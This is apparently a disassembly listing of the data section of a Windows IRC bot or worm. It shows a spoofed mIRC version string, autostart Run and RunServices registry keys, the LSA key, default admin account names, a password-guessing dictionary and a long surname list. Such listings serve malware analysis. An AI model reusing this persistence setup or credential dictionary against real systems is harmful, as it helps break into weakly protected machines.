dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: seg002:off_43C054o
align 4
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:0041CBB0o
; seg000:0041CED2o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:0041CC5Do
; seg000:0041CF7Fo
align 10h
off_43C220 dd offset aAdministrato_0 ; DATA XREF: seg000:00410230r
; seg000:00410238o
; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
off_43C270 dd offset byte_42B633 ; DATA XREF: sub_410047r sub_410047+Co
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_0 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco_0 ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 10h
dword_43C4A0 dd 10h ; DATA XREF: sub_40274D+A0Br
; sub_40274D+A37r ...
align 8
dword_43C4A8 dd 6C616572h ; DATA XREF: sub_40AB83+Fr
dd 2 dup(0)
dword_43C4B4 dd 0 ; DATA XREF: sub_40AB83:loc_40ABAAr
off_43C4B8 dd offset sub_40A800 ; DATA XREF: sub_40AB83+4Ar
aConst db 'const',0
align 8
dd 1, 40A86Ch, 7474656Ch, 7265h, 0
dd 2, 40A8CAh, 706D6F63h, 2 dup(0)
dd 3, 40A917h, 6E756F63h, 797274h, 0
dd 4, 40A986h, 736Fh, 2 dup(0)
dd 5, 40A9FBh
off_43C520 dd offset aAbdulrazak ; DATA XREF: sub_40A800+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
